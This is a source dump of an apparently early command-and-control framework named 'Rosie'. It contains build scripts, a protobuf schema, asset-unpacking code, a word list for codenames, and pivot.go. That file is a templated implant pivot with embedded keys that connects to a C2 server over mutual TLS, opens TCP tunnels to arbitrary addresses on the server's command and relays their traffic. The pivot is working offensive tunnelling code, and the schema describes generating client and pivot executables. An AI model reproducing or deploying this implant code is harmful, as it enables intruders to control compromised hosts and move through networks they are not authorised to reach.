annoying as fuck some of the time 738 | func contains(a string, list []string) bool { 739 | for _, b := range list { 740 | if b == a { 741 | return true 742 | } 743 | } 744 | return false 745 | } 746 | 747 | // Fuck you Go 748 | func indexOf(needle string, haystack []string) int { 749 | for index, value := range haystack { 750 | if needle == value { 751 | return index 752 | } 753 | } 754 | return -1 755 | } 756 | -------------------------------------------------------------------------------- /deps.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | go get -u github.com/gobuffalo/packr 4 | go get -u github.com/golang/protobuf/protoc-gen-go -------------------------------------------------------------------------------- /go-assets.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Creates the static go asset archives 4 | # You'll need wget, tar, and unzip commands 5 | 6 | GO_VER="1.11" 7 | BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt CONTRIBUTING.md LICENSE README.md ./doc ./test" 8 | 9 | 10 | REPO_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" 11 | WORK_DIR=`mktemp -d` 12 | 13 | echo "-----------------------------------------------------------------" 14 | echo $WORK_DIR 15 | echo "-----------------------------------------------------------------" 16 | cd $WORK_DIR 17 | 18 | # --- Darwin --- 19 | wget https://dl.google.com/go/go$GO_VER.darwin-amd64.tar.gz 20 | tar xvf go$GO_VER.darwin-amd64.tar.gz 21 | 22 | cd go 23 | rm -rf $BLOAT_FILES 24 | zip -r ../src.zip ./src # Zip up /src we only need to do this once 25 | rm -rf ./src 26 | rm -f ./pkg/tool/darwin_amd64/doc 27 | rm -f ./pkg/tool/darwin_amd64/tour 28 | rm -f ./pkg/tool/darwin_amd64/test2json 29 | cd .. 30 | cp -vv src.zip $REPO_DIR/server/assets/src.zip 31 | rm -f src.zip 32 | 33 | zip -r darwin-go.zip ./go 34 | cp -vv darwin-go.zip $REPO_DIR/server/assets/darwin/go.zip 35 | 36 | rm -rf ./go 37 | rm -f darwin-go.zip go$GO_VER.darwin-amd64.tar.gz 38 | 39 | 40 | # --- Linux --- 41 | wget https://dl.google.com/go/go$GO_VER.linux-amd64.tar.gz 42 | tar xvf go$GO_VER.linux-amd64.tar.gz 43 | cd go 44 | rm -rf $BLOAT_FILES 45 | rm -rf ./src 46 | rm -f ./pkg/tool/linux_amd64/doc 47 | rm -f ./pkg/tool/linux_amd64/tour 48 | rm -f ./pkg/tool/linux_amd64/test2json 49 | cd .. 50 | zip -r linux-go.zip ./go 51 | cp -vv linux-go.zip $REPO_DIR/server/assets/linux/go.zip 52 | rm -rf ./go 53 | rm -f linux-go.zip go$GO_VER.linux-amd64.tar.gz 54 | 55 | # --- Windows --- 56 | wget https://dl.google.com/go/go$GO_VER.windows-amd64.zip 57 | unzip go$GO_VER.windows-amd64.zip 58 | cd go 59 | rm -rf $BLOAT_FILES 60 | rm -rf ./src 61 | rm -f ./pkg/tool/windows_amd64/doc.exe 62 | rm -f ./pkg/tool/windows_amd64/tour.exe 63 | rm -f ./pkg/tool/windows_amd64/test2json.exe 64 | cd .. 65 | zip -r windows-go.zip ./go 66 | cp -vv windows-go.zip $REPO_DIR/server/assets/windows/go.zip 67 | rm -rf ./go 68 | rm -f windows-go.zip go$GO_VER.windows-amd64.zip 69 | 70 | # end 71 | echo -e "clean up: $WORK_DIR" 72 | rm -rf $WORK_DIR 73 | echo -e "\n[*] All done\n" 74 | -------------------------------------------------------------------------------- /pivot/pivot.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | /* 4 | * Rosie pivot code, since we dynamically render and compile this file 5 | * I've tried to keep the code in as few files as possible, same w/Client. 6 | */ 7 | 8 | import ( 9 | "bytes" 10 | "crypto/tls" 11 | "crypto/x509" 12 | "encoding/binary" 13 | "flag" 14 | "fmt" 15 | "io" 16 | "log" 17 | "net" 18 | "os" 19 | "time" 20 | 21 | pb "rosie/protobuf" 22 | 23 | "github.com/golang/protobuf/proto" 24 | ) 25 | 26 | const ( 27 | pivotName = `{{.Name}}` 28 | pivotKeyPEM = `{{.Key}}` 29 | pivotCertPEM = `{{.Cert}}` 30 | caCertPEM = `{{.CACert}}` 31 | 32 | defaultServerIP = `{{.DefaultServer}}` 33 | defaultServerLport = 8444 34 | 35 | timeout = 30 * time.Second 36 | readBufSize = 256 * 1024 // 64kb 37 | zeroReadsLimit = 10 38 | 39 | // --------------- 40 | // Pivot Messages 41 | // --------------- 42 | 43 | // TCPTunnelMsg - Holds data related to setting up a TCP tunnel 44 | TCPTunnelMsg = "tcp-tunnel" 45 | // PivotInitMsg - Sends pivot metadata to server 46 | PivotInitMsg = "pivot-init" 47 | // DataMsg - Connection data 48 | DataMsg = "d" 49 | ) 50 | 51 | // Tunnel - Holds tunnel channels/metadata 52 | type Tunnel struct { 53 | ID string 54 | ToClient chan []byte 55 | FromClient chan []byte 56 | } 57 | 58 | var ( 59 | server *string 60 | lport *int 61 | 62 | tunnels = map[string]Tunnel{} // TODO: Add mutex 63 | 64 | messageHandlers = map[string]interface{}{ 65 | DataMsg: dataHandler, 66 | TCPTunnelMsg: tcpTunnelInitHandler, 67 | } 68 | ) 69 | 70 | func main() { 71 | 72 | log.SetFlags(log.LstdFlags | log.Lshortfile) 73 | 74 | server = flag.String("server", defaultServerIP, "server address") 75 | lport = flag.Int("lport", defaultServerLport, "server listen port") 76 | flag.Parse() 77 | 78 | log.Printf("Hello my name is %s", pivotName) 79 | log.Printf("Connecting -> %s:%d", *server, uint16(*lport)) 80 | conn := tlsConnect(*server, uint16(*lport)) 81 | defer conn.Close() 82 | 83 | broker := NewBroker() 84 | go broker.Start() 85 | 86 | pivotInit(broker) 87 | log.Printf("Waiting for messages ...") 88 | recv := broker.Subscribe() 89 | for envelope := range recv { 90 | handler, ok := messageHandlers[envelope.Type] 91 | if ok { 92 | go handler.(func(*Broker, []byte))(broker, envelope.Data) 93 | } else { 94 | log.Printf("No message handler for type: '%s'", envelope.Type) 95 | } 96 | } 97 | } 98 | 99 | // ---------------------- 100 | // Broker Implementation 101 | // ---------------------- 102 | 103 | // Broker - Holds all the channels used for communication 104 | type Broker struct { 105 | stopCh chan struct{} 106 | publishCh chan pb.Envelope 107 | subCh chan chan pb.Envelope 108 | unsubCh chan chan pb.Envelope 109 | sendCh chan pb.Envelope 110 | } 111 | 112 | // NewBroker - Instanciate new broker 113 | func NewBroker() *Broker { 114 | return &Broker{ 115 | stopCh: make(chan struct{}), 116 | publishCh: make(chan pb.Envelope, 1), 117 | subCh: make(chan chan pb.Envelope, 1), 118 | unsubCh: make(chan chan pb.Envelope, 1), 119 | sendCh: make(chan pb.Envelope, 1), 120 | } 121 | } 122 | 123 | // Start - Start the main broker loop 124 | func (broker *Broker) Start() { 125 | c2Connect(broker) 126 | subscribers := map[chan pb.Envelope]struct{}{} 127 | for { 128 | select { 129 | case <-broker.stopCh: 130 | log.Printf("Closing subscriber channels ...") 131 | for msgCh := range subscribers { 132 | close(msgCh) 133 | } 134 | return 135 | case msgCh := <-broker.subCh: 136 | subscribers[msgCh] = struct{}{} 137 | case msgCh := <-broker.unsubCh: 138 | delete(subscribers, msgCh) 139 | case msg := <-broker.publishCh: 140 | for msgCh := range subscribers { 141 | msgCh <- msg 142 | } 143 | } 144 | } 145 | } 146 | 147 | // Stop - Close down all channels 148 | func (broker *Broker) Stop() { 149 | close(broker.stopCh) 150 | } 151 | 152 | // Subscribe - Generate a new subscription channel 153 | func (broker *Broker) Subscribe() chan pb.Envelope { 154 | msgCh := make(chan pb.Envelope, 5) 155 | broker.subCh <- msgCh 156 | return msgCh 157 | } 158 | 159 | // Unsubscribe - Remove a subscription channel 160 | func (broker *Broker) Unsubscribe(msgCh chan pb.Envelope) { 161 | broker.unsubCh <- msgCh 162 | close(msgCh) 163 | } 164 | 165 | // Publish - Push a message to all subscribers 166 | func (broker *Broker) Publish(msg pb.Envelope) { 167 | broker.publishCh <- msg 168 | } 169 | 170 | // SendMessage - Send a message to the remote connection 171 | func (broker *Broker) SendMessage(msgType string, msg []byte) { 172 | envelope := pb.Envelope{ 173 | Type: msgType, 174 | Data: msg, 175 | } 176 | broker.sendCh <- envelope 177 | } 178 | 179 | // pivotInit - Sends connection metadata to server 180 | func pivotInit(broker *Broker) { 181 | pivotInit := &pb.PivotInit{ 182 | Name: pivotName, 183 | } 184 | data, _ := proto.Marshal(pivotInit) 185 | broker.SendMessage(PivotInitMsg, data) 186 | } 187 | 188 | func dataHandler(broker *Broker, msg []byte) { 189 | data := &pb.Data{} 190 | proto.Unmarshal(msg, data) 191 | tun, ok := tunnels[data.TunnelID] 192 | if ok { 193 | tun.FromClient <- data.Payload 194 | } 195 | } 196 | 197 | // tcpTunnelInitHandler - Initializes a TCP tunnel to the client 198 | func tcpTunnelInitHandler(broker *Broker, msg []byte) { 199 | tun := &pb.TCPTunnelInit{} 200 | proto.Unmarshal(msg, tun) 201 | 202 | address := fmt.Sprintf("%s:%d", tun.RemoteAddress, tun.RemotePort) 203 | recv := broker.Subscribe() 204 | defer broker.Unsubscribe(recv) 205 | 206 | rConn, err := net.Dial("tcp", address) 207 | if err == nil { 208 | log.Printf("Connection successful, setting up tunnel") 209 | 210 | // Send empty data packet to kick-start connection 211 | data, _ := proto.Marshal(&pb.Data{ 212 | TunnelID: tun.ID, 213 | EOF: false, 214 | }) 215 | broker.SendMessage(DataMsg, data) 216 | 217 | go func() { 218 | defer func() { 219 | log.Printf("[Remote] Closing connection to %s (%s)", rConn.RemoteAddr(), tun.ID) 220 | rConn.Close() // This will terminate the lower .Read() loop 221 | }() 222 | for envelope := range recv { 223 | if envelope.Type == DataMsg { 224 | dataPkt := &pb.Data{} 225 | proto.Unmarshal(envelope.Data, dataPkt) 226 | if dataPkt.TunnelID == tun.ID { 227 | log.Printf("[Remote] Write %d bytes (%s)\n", len(dataPkt.Payload), tun.ID) 228 | if 0 < len(dataPkt.Payload) { 229 | rConn.Write(dataPkt.Payload) 230 | } 231 | if dataPkt.EOF { 232 | return 233 | } 234 | } 235 | } 236 | } 237 | }() 238 | 239 | zeroReads := 0 240 | readBuf := make([]byte, readBufSize) 241 | for { 242 | n, err := rConn.Read(readBuf) 243 | log.Printf("[Remote] Read %d bytes (%s)\n", len(readBuf[:n]), tun.ID) 244 | dataPkt, _ := proto.Marshal(&pb.Data{ 245 | TunnelID: tun.ID, 246 | Payload: readBuf[:n], 247 | EOF: err == io.EOF, 248 | }) 249 | broker.SendMessage(DataMsg, dataPkt) 250 | if err == io.EOF { 251 | log.Printf("[Remote] Read EOF (%s)", tun.ID) 252 | break 253 | } 254 | if n == 0 { 255 | zeroReads++ 256 | if zeroReads > zeroReadsLimit { 257 | log.Printf("[Remote] Zero reads limit reached (%s)", tun.ID) 258 | break 259 | } 260 | } else { 261 | zeroReads = 0 262 | } 263 | } 264 | log.Printf("[Remote] Read loop exit (%s)", tun.ID) 265 | 266 | } else { 267 | log.Printf("Tunnel init error: %v", err) 268 | data, _ := proto.Marshal(&pb.Data{ 269 | TunnelID: tun.ID, 270 | EOF: true, 271 | Errors: fmt.Sprintf("%s", err), 272 | }) 273 | broker.SendMessage(DataMsg, data) 274 | } 275 | } 276 | 277 | // ---------------------- 278 | // Network Communication 279 | // ---------------------- 280 | // c2Connect - Connect to server and get channels for send/recv 281 | func c2Connect(broker *Broker) { 282 | log.Printf("Connecting to %s:%d ...\n", *server, *lport) 283 | conn := tlsConnect(*server, uint16(*lport)) 284 | 285 | go func() { 286 | defer func() { 287 | log.Printf("Clean up channels/connections ...") 288 | conn.Close() 289 | broker.Stop() 290 | }() 291 | for { 292 | envelope, err := socketReadMessage(conn) 293 | if err != nil { 294 | return 295 | } 296 | broker.Publish(envelope) 297 | } 298 | }() 299 | 300 | // Convert channel back to socket writes 301 | go func() { 302 | for envelope := range broker.sendCh { 303 | socketWriteMessage(conn, envelope) 304 | } 305 | }() 306 | } 307 | 308 | // socketWriteMessage - Writes a message to the TLS socket using length prefix framing 309 | // which is a fancy way of saying we write the length of the message then the message 310 | // e.g. [uint32 length|message] so the reciever can delimit messages properly 311 | func socketWriteMessage(connection *tls.Conn, envelope pb.Envelope) error { 312 | data, err := proto.Marshal(&envelope) 313 | if err != nil { 314 | log.Print("Envelope marshaling error: ", err) 315 | return err 316 | } 317 | dataLengthBuf := new(bytes.Buffer) 318 | binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))) 319 | connection.Write(dataLengthBuf.Bytes()) 320 | connection.Write(data) 321 | return nil 322 | } 323 | 324 | // socketReadMessage - Reads a message from the TLS connection using length prefix framing 325 | func socketReadMessage(connection *tls.Conn) (pb.Envelope, error) { 326 | dataLengthBuf := make([]byte, 4) // Size of uint32 327 | _, err := connection.Read(dataLengthBuf) 328 | if err != nil { 329 | log.Printf("Socket error (read msg-length): %v\n", err) 330 | return pb.Envelope{}, err 331 | } 332 | dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf)) 333 | 334 | // Read the length of the data 335 | readBuf := make([]byte, readBufSize) 336 | dataBuf := make([]byte, 0) 337 | totalRead := 0 338 | for { 339 | n, err := connection.Read(readBuf) 340 | dataBuf = append(dataBuf, readBuf[:n]...) 341 | totalRead += n 342 | if totalRead == dataLength { 343 | break 344 | } 345 | if err != nil { 346 | log.Printf("Read error: %s\n", err) 347 | break 348 | } 349 | } 350 | 351 | // Unmarshal the protobuf envelope 352 | envelope := &pb.Envelope{} 353 | err = proto.Unmarshal(dataBuf, envelope) 354 | if err != nil { 355 | log.Printf("Unmarshaling envelope error: %v", err) 356 | return pb.Envelope{}, err 357 | } 358 | 359 | return *envelope, nil 360 | } 361 | 362 | // tlsConnect - Get a TLS connection or die trying 363 | func tlsConnect(address string, port uint16) *tls.Conn { 364 | tlsConfig := getTLSConfig() 365 | connection, err := tls.Dial("tcp", fmt.Sprintf("%s:%d", address, port), tlsConfig) 366 | if err != nil { 367 | log.Printf("Unable to connect: %v", err) 368 | os.Exit(4) 369 | } 370 | return connection 371 | } 372 | 373 | func getTLSConfig() *tls.Config { 374 | 375 | // Load pivot certs 376 | pivotCertPEM, err := tls.X509KeyPair([]byte(pivotCertPEM), []byte(pivotKeyPEM)) 377 | if err != nil { 378 | log.Printf("Cannot load pivot certificate: %v", err) 379 | os.Exit(5) 380 | } 381 | 382 | // Load CA cert 383 | caCertPool := x509.NewCertPool() 384 | caCertPool.AppendCertsFromPEM([]byte(caCertPEM)) 385 | 386 | // Setup config with custom certificate validation routine 387 | tlsConfig := &tls.Config{ 388 | Certificates: []tls.Certificate{pivotCertPEM}, 389 | RootCAs: caCertPool, 390 | InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing 391 | VerifyPeerCertificate: rootOnlyVerifyCertificate, 392 | } 393 | tlsConfig.BuildNameToCertificate() 394 | 395 | return tlsConfig 396 | } 397 | 398 | // rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so 399 | // we have to disable all of the fucking certificate validation and re-implement everything. 400 | // https://github.com/golang/go/issues/21971 401 | func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error { 402 | 403 | roots := x509.NewCertPool() 404 | ok := roots.AppendCertsFromPEM([]byte(caCertPEM)) 405 | if !ok { 406 | log.Printf("Failed to parse root certificate") 407 | os.Exit(3) 408 | } 409 | 410 | cert, err := x509.ParseCertificate(rawCerts[0]) // We should only get one cert 411 | if err != nil { 412 | log.Printf("Failed to parse certificate: " + err.Error()) 413 | return err 414 | } 415 | 416 | // Basically we only care if the certificate was signed by our authority 417 | // Go selects sensible defaults for time and EKU, basically we're only 418 | // skipping the hostname check, I think? 419 | opts := x509.VerifyOptions{ 420 | Roots: roots, 421 | } 422 | if _, err := cert.Verify(opts); err != nil { 423 | log.Printf("Failed to verify certificate: " + err.Error()) 424 | return err 425 | } 426 | 427 | return nil 428 | } 429 | -------------------------------------------------------------------------------- /protobuf/rosie.proto: -------------------------------------------------------------------------------- 1 | syntax = "proto3"; 2 | 3 | package rosiepb; 4 | 5 | 6 | message Envelope { 7 | string type = 1; // Message type 8 | bytes data = 2; // Actual message data 9 | } 10 | 11 | message Pivot { 12 | string ID = 1; 13 | string name = 2; 14 | repeated PivotConnection connections = 3; 15 | } 16 | 17 | message PivotInit { 18 | string name = 1; 19 | repeated string localAddresses = 2; 20 | string responseID = 3; // Optional message id value 21 | } 22 | 23 | message Pivots { 24 | repeated Pivot list = 1; 25 | } 26 | 27 | message PivotConnection { 28 | string ID = 1; 29 | // repeated Tunnel tunnels = 3; 30 | } 31 | 32 | message TCPTunnelInit { 33 | string pivotName = 1; 34 | string remoteAddress = 2; 35 | int32 remotePort = 3; 36 | string ID = 4; 37 | } 38 | 39 | message Data { 40 | string tunnelID = 1; 41 | bytes payload = 2; 42 | bool EOF = 3; 43 | string errors = 4; 44 | } 45 | 46 | message ExeFile { 47 | string format = 1; 48 | bytes data = 2; 49 | string errors = 3; 50 | } 51 | 52 | message GenerateClientRequest { 53 | string operatingSystem = 1; 54 | string arch = 2; 55 | } 56 | 57 | message GeneratePivotRequest { 58 | string operatingSystem = 1; 59 | string arch = 2; 60 | } -------------------------------------------------------------------------------- /server/assets.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "archive/zip" 5 | "io" 6 | "io/ioutil" 7 | "log" 8 | "os" 9 | "path" 10 | "path/filepath" 11 | "runtime" 12 | 13 | "github.com/gobuffalo/packr" 14 | ) 15 | 16 | // SetupAssets - Extract or create local assets 17 | // TODO: Add some type of version awareness and a -force option 18 | func SetupAssets() { 19 | rosieDir := GetRosieDir() 20 | assetsBox := packr.NewBox("./assets") 21 | 22 | SetupCerts(rosieDir) 23 | setupGo(rosieDir, assetsBox) 24 | setupCodenames(rosieDir, assetsBox) 25 | } 26 | 27 | // SetupCerts - Creates directories for certs 28 | func SetupCerts(rosieDir string) { 29 | os.MkdirAll(path.Join(rosieDir, "certs"), os.ModePerm) 30 | GenerateCertificateAuthority("pivots", true) 31 | GenerateCertificateAuthority("clients", true) 32 | } 33 | 34 | // SetupGo - Unzip Go compiler assets 35 | func setupGo(rosieDir string, assetsBox packr.Box) error { 36 | 37 | log.Printf("Unpacking assets ...") 38 | 39 | // Go compiler and stdlib 40 | goZip, err := assetsBox.MustBytes(path.Join(runtime.GOOS, "go.zip")) 41 | if err != nil { 42 | log.Printf("static asset not found: go.zip") 43 | return err 44 | } 45 | 46 | goZipPath := path.Join(rosieDir, "go.zip") 47 | defer os.Remove(goZipPath) 48 | ioutil.WriteFile(goZipPath, goZip, 0644) 49 | _, err = unzip(goZipPath, rosieDir) 50 | if err != nil { 51 | log.Printf("Failed to unzip file %s -> %s", goZipPath, rosieDir) 52 | return err 53 | } 54 | 55 | goSrcZip, err := assetsBox.MustBytes("src.zip") 56 | if err != nil { 57 | log.Printf("static asset not found: src.zip") 58 | return err 59 | } 60 | goSrcZipPath := path.Join(rosieDir, "src.zip") 61 | defer os.Remove(goSrcZipPath) 62 | ioutil.WriteFile(goSrcZipPath, goSrcZip, 0644) 63 | _, err = unzip(goSrcZipPath, path.Join(rosieDir, goDirName)) 64 | if err != nil { 65 | log.Printf("Failed to unzip file %s -> %s/go", goSrcZipPath, rosieDir) 66 | return err 67 | } 68 | 69 | // GOPATH setup 70 | goPathSrc := path.Join(GetGoPathDir(), "src") 71 | if _, err := os.Stat(goPathSrc); os.IsNotExist(err) { 72 | log.Printf("Creating GOPATH directory: %s", goPathSrc) 73 | os.MkdirAll(goPathSrc, os.ModePerm) 74 | } 75 | 76 | // Protobuf dependencies 77 | protobufBox := packr.NewBox("../protobuf") 78 | pbGoSrc, err := protobufBox.MustBytes("rosie.pb.go") 79 | if err != nil { 80 | log.Printf("static asset not found: src.zip") 81 | return err 82 | } 83 | protobufDir := path.Join(goPathSrc, "rosie", "protobuf") 84 | os.MkdirAll(protobufDir, os.ModePerm) 85 | ioutil.WriteFile(path.Join(protobufDir, "rosie.pb.go"), pbGoSrc, 0644) 86 | 87 | // GOPATH 3rd party dependencies 88 | err = unzipGoDependency("github.com.zip", goPathSrc, assetsBox) 89 | if err != nil { 90 | log.Fatalf("Failed to unzip go dependency: %v", err) 91 | } 92 | 93 | return nil 94 | } 95 | 96 | func unzipGoDependency(fileName string, goPathSrc string, assetsBox packr.Box) error { 97 | log.Printf("Unpacking go dependency %s -> %s", fileName, goPathSrc) 98 | rosieDir := GetRosieDir() 99 | godep, err := assetsBox.MustBytes(fileName) 100 | if err != nil { 101 | log.Printf("static asset not found: %s", fileName) 102 | return err 103 | } 104 | 105 | godepZipPath := path.Join(rosieDir, fileName) 106 | defer os.Remove(godepZipPath) 107 | ioutil.WriteFile(godepZipPath, godep, 0644) 108 | _, err = unzip(godepZipPath, goPathSrc) 109 | if err != nil { 110 | log.Printf("Failed to unzip file %s -> %s", godepZipPath, rosieDir) 111 | return err 112 | } 113 | 114 | return nil 115 | } 116 | 117 | func setupCodenames(rosieDir string, assetsBox packr.Box) error { 118 | nouns, err := assetsBox.MustBytes("nouns.txt") 119 | adjectives, err := assetsBox.MustBytes("adjectives.txt") 120 | 121 | err = ioutil.WriteFile(path.Join(rosieDir, "nouns.txt"), nouns, 0600) 122 | if err != nil { 123 | log.Printf("Failed to write noun data to: %s", rosieDir) 124 | return err 125 | } 126 | 127 | err = ioutil.WriteFile(path.Join(rosieDir, "adjectives.txt"), adjectives, 0600) 128 | if err != nil { 129 | log.Printf("Failed to write adjective data to: %s", rosieDir) 130 | return err 131 | } 132 | return nil 133 | } 134 | 135 | func unzip(src string, dest string) ([]string, error) { 136 | 137 | var filenames []string 138 | 139 | reader, err := zip.OpenReader(src) 140 | if err != nil { 141 | return filenames, err 142 | } 143 | defer reader.Close() 144 | 145 | for _, file := range reader.File { 146 | 147 | rc, err := file.Open() 148 | if err != nil { 149 | return filenames, err 150 | } 151 | defer rc.Close() 152 | 153 | fpath := filepath.Join(dest, file.Name) 154 | filenames = append(filenames, fpath) 155 | 156 | if file.FileInfo().IsDir() { 157 | os.MkdirAll(fpath, os.ModePerm) 158 | } else { 159 | if err = os.MkdirAll(filepath.Dir(fpath), os.ModePerm); err != nil { 160 | return filenames, err 161 | } 162 | outFile, err := os.OpenFile(fpath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode()) 163 | if err != nil { 164 | return filenames, err 165 | } 166 | _, err = io.Copy(outFile, rc) 167 | 168 | outFile.Close() 169 | 170 | if err != nil { 171 | return filenames, err 172 | } 173 | 174 | } 175 | } 176 | return filenames, nil 177 | } 178 | 179 | // copyFileContents - Copy/overwrite src to dst 180 | func copyFileContents(src string, dst string) error { 181 | in, err := os.Open(src) 182 | if err != nil { 183 | return err 184 | } 185 | defer in.Close() 186 | out, err := os.Create(dst) 187 | if err != nil { 188 | return err 189 | } 190 | defer out.Close() 191 | if _, err = io.Copy(out, in); err != nil { 192 | return err 193 | } 194 | out.Sync() 195 | return nil 196 | } 197 | -------------------------------------------------------------------------------- /server/assets/adjectives.txt: -------------------------------------------------------------------------------- 1 | average 2 | big 3 | colossal 4 | fat 5 | giant 6 | gigantic 7 | great 8 | huge 9 | immense 10 | large 11 | little 12 | long 13 | mammoth 14 | massive 15 | miniature 16 | petite 17 | puny 18 | short 19 | small 20 | tall 21 | tiny 22 | boiling 23 | breezy 24 | broken 25 | bumpy 26 | chilly 27 | cold 28 | cool 29 | creepy 30 | crooked 31 | cuddly 32 | curly 33 | damaged 34 | damp 35 | dirty 36 | dry 37 | dusty 38 | filthy 39 | flaky 40 | fluffy 41 | wet 42 | broad 43 | chubby 44 | crooked 45 | curved 46 | deep 47 | flat 48 | high 49 | hollow 50 | low 51 | narrow 52 | round 53 | shallow 54 | skinny 55 | square 56 | steep 57 | straight 58 | wide 59 | ancient 60 | brief 61 | early 62 | fast 63 | late 64 | long 65 | modern 66 | old 67 | old-fashioned 68 | quick 69 | rapid 70 | short 71 | slow 72 | swift 73 | young 74 | abundant 75 | empty 76 | few 77 | heavy 78 | light 79 | many 80 | numerous 81 | Sound 82 | cooing 83 | deafening 84 | faint 85 | harsh 86 | high-pitched 87 | hissing 88 | hushed 89 | husky 90 | loud 91 | melodic 92 | moaning 93 | mute 94 | noisy 95 | purring 96 | quiet 97 | raspy 98 | resonant 99 | screeching 100 | shrill 101 | silent 102 | soft 103 | squealing 104 | thundering 105 | voiceless 106 | whispering 107 | bitter 108 | delicious 109 | fresh 110 | juicy 111 | ripe 112 | rotten 113 | salty 114 | sour 115 | spicy 116 | stale 117 | sticky 118 | strong 119 | sweet 120 | tasteless 121 | tasty 122 | thirsty 123 | fluttering 124 | fuzzy 125 | greasy 126 | grubby 127 | hard 128 | hot 129 | icy 130 | loose 131 | melted 132 | plastic 133 | prickly 134 | rainy 135 | rough 136 | scattered 137 | shaggy 138 | shaky 139 | sharp 140 | shivering 141 | silky 142 | slimy 143 | slippery 144 | smooth 145 | soft 146 | solid 147 | steady 148 | sticky 149 | tender 150 | tight 151 | uneven 152 | weak 153 | wet 154 | wooden 155 | afraid 156 | angry 157 | annoyed 158 | anxious 159 | arrogant 160 | ashamed 161 | awful 162 | bad 163 | bewildered 164 | bored 165 | combative 166 | condemned 167 | confused 168 | creepy 169 | cruel 170 | dangerous 171 | defeated 172 | defiant 173 | depressed 174 | disgusted 175 | disturbed 176 | eerie 177 | embarrassed 178 | envious 179 | evil 180 | fierce 181 | foolish 182 | frantic 183 | frightened 184 | grieving 185 | helpless 186 | homeless 187 | hungry 188 | hurt 189 | ill 190 | jealous 191 | lonely 192 | mysterious 193 | naughty 194 | nervous 195 | obnoxious 196 | outrageous 197 | panicky 198 | repulsive 199 | scary 200 | scornful 201 | selfish 202 | sore 203 | tense 204 | terrible 205 | thoughtless 206 | tired 207 | troubled 208 | upset 209 | uptight 210 | weary 211 | wicked 212 | worried 213 | agreeable 214 | amused 215 | brave 216 | calm 217 | charming 218 | cheerful 219 | comfortable 220 | cooperative 221 | courageous 222 | delightful 223 | determined 224 | eager 225 | elated 226 | enchanting 227 | encouraging 228 | energetic 229 | enthusiastic 230 | excited 231 | exuberant 232 | fair 233 | faithful 234 | fantastic 235 | fine 236 | friendly 237 | funny 238 | gentle 239 | glorious 240 | good 241 | happy 242 | healthy 243 | helpful 244 | hilarious 245 | jolly 246 | joyous 247 | kind 248 | lively 249 | lovely 250 | lucky 251 | obedient 252 | perfect 253 | pleasant 254 | proud 255 | relieved 256 | silly 257 | smiling 258 | splendid 259 | successful 260 | thoughtful 261 | victorious 262 | vivacious 263 | witty 264 | wonderful 265 | zealous 266 | zany 267 | other 268 | good 269 | new 270 | old 271 | great 272 | high 273 | small 274 | different 275 | large 276 | local 277 | social 278 | important 279 | long 280 | young 281 | national 282 | british 283 | right 284 | early 285 | possible 286 | big 287 | little 288 | political 289 | able 290 | late 291 | general 292 | full 293 | far 294 | low 295 | public 296 | available 297 | bad 298 | main 299 | sure 300 | clear 301 | major 302 | economic 303 | only 304 | likely 305 | real 306 | black 307 | particular 308 | international 309 | special 310 | difficult 311 | certain 312 | open 313 | whole 314 | white 315 | free 316 | short 317 | easy 318 | strong 319 | european 320 | central 321 | similar 322 | human 323 | common 324 | necessary 325 | single 326 | personal 327 | hard 328 | private 329 | poor 330 | financial 331 | wide 332 | foreign 333 | simple 334 | recent 335 | concerned 336 | american 337 | various 338 | close 339 | fine 340 | english 341 | wrong 342 | present 343 | royal 344 | natural 345 | individual 346 | nice 347 | french 348 | following 349 | current 350 | modern 351 | labour 352 | legal 353 | happy 354 | final 355 | red 356 | normal 357 | serious 358 | previous 359 | total 360 | prime 361 | significant 362 | industrial 363 | sorry 364 | dead 365 | specific 366 | appropriate 367 | top 368 | soviet 369 | basic 370 | military 371 | original 372 | successful 373 | aware 374 | hon 375 | popular 376 | heavy 377 | professional 378 | direct 379 | dark 380 | cold 381 | ready 382 | green 383 | useful 384 | effective 385 | western 386 | traditional 387 | scottish 388 | german 389 | independent 390 | deep 391 | interesting 392 | considerable 393 | involved 394 | physical 395 | left 396 | hot 397 | existing 398 | responsible 399 | complete 400 | medical 401 | blue 402 | extra 403 | past 404 | male 405 | interested 406 | fair 407 | essential 408 | beautiful 409 | civil 410 | primary 411 | obvious 412 | future 413 | environmental 414 | positive 415 | senior 416 | nuclear 417 | annual 418 | relevant 419 | huge 420 | rich 421 | commercial 422 | safe 423 | regional 424 | practical 425 | official 426 | separate 427 | key 428 | chief 429 | regular 430 | due 431 | additional 432 | active 433 | powerful 434 | complex 435 | standard 436 | impossible 437 | light 438 | warm 439 | middle 440 | fresh 441 | sexual 442 | front 443 | domestic 444 | actual 445 | united 446 | technical 447 | ordinary 448 | cheap 449 | strange 450 | internal 451 | excellent 452 | quiet 453 | soft 454 | potential 455 | northern 456 | religious 457 | quick 458 | very 459 | famous 460 | cultural 461 | proper 462 | broad 463 | joint 464 | formal 465 | limited 466 | conservative 467 | lovely 468 | usual 469 | ltd 470 | unable 471 | rural 472 | initial 473 | substantial 474 | christian 475 | bright 476 | average 477 | leading 478 | reasonable 479 | immediate 480 | suitable 481 | equal 482 | detailed 483 | working 484 | overall 485 | female 486 | afraid 487 | democratic 488 | growing 489 | sufficient 490 | scientific 491 | eastern 492 | correct 493 | inc 494 | irish 495 | expensive 496 | educational 497 | mental 498 | dangerous 499 | critical 500 | increased 501 | familiar 502 | unlikely 503 | double 504 | perfect 505 | slow 506 | tiny 507 | dry 508 | historical 509 | thin 510 | daily 511 | southern 512 | increasing 513 | wild 514 | alone 515 | urban 516 | empty 517 | married 518 | narrow 519 | liberal 520 | supposed 521 | upper 522 | apparent 523 | tall 524 | busy 525 | bloody 526 | prepared 527 | russian 528 | moral 529 | careful 530 | clean 531 | attractive 532 | japanese 533 | vital 534 | thick 535 | alternative 536 | fast 537 | ancient 538 | elderly 539 | rare 540 | external 541 | capable 542 | brief 543 